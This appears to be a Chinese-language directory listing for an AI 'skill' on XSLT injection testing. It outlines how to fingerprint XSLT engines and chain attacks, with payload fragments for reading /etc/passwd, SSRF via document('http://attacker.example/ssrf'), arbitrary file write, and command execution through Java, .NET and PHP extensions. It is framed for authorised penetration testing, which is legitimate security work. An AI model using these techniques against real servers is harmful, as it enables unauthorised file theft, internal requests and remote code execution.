SuperAPI AI 工具集

xslt-injection

安全与审计

查看项目

更新于 10-15 21:53

技能介绍

用途:当攻击者可影响服务端编译执行的 XSLT 时,按处理器家族(Java/.NET/PHP/libxslt)映射并串联利用链。仅限授权测试,多数载荷具破坏性。

主要能力:

  1. 快速定位:查找 xslt、stylesheet、transform、template、SOAP 样式表、报表生成器、XML→HTML 转换器等入口;注入唯一命名空间或 xsl:value-of select="'marker'" 探测反射。
  2. 指纹识别:用 system-property('xsl:vendor')、'xsl:version'、'xsl:vendor-url' 判断引擎(Xalan、Saxon、libxslt、MSXML/.NET)。
  3. XXE:XSLT 1.0 允许 DTD 实体,可读取 file:///etc/passwd 等;加固解析器会禁用外部 DTD。
  4. document() 文件读取与 SSRF:document('/etc/passwd')、document('file:///c:/windows/win.ini')、document('http://attacker.example/ssrf'),可配合报错或时序盲测。
  5. EXSLT 写文件:exslt:document href 可任意写文件,常导致 RCE。
  6. PHP:php:function('readfile',...)、scandir 等,需 registerPHPFunctions 暴露;历史 preg_replace /e 链仅适用于旧版 PHP。
  7. Java:Xalan/Saxon 扩展函数可调用 Runtime.exec;扩展默认常禁用。
  8. .NET:msxsl:script 允许时可用 C# Process.Start 执行命令;安全配置通常禁用。

使用方式:先用无害 marker 探测,再按家族升级;无反射时尝试报错、OOB、时序通道。工具上可用 Burp Suite、OWASP ZAP 重放,配合 Collaborator 等回调服务器;建议在本地用相同引擎版本复现。

限制:无通用扫描器,利用高度依赖处理器与配置;加固环境常禁用外部 DTD、扩展函数与脚本,失败不代表其他向量无效。若输入为通用 XML 解析,可交叉参考 xxe-xml-external-entity;关注出站请求时参考 ssrf-server-side-request-forgery。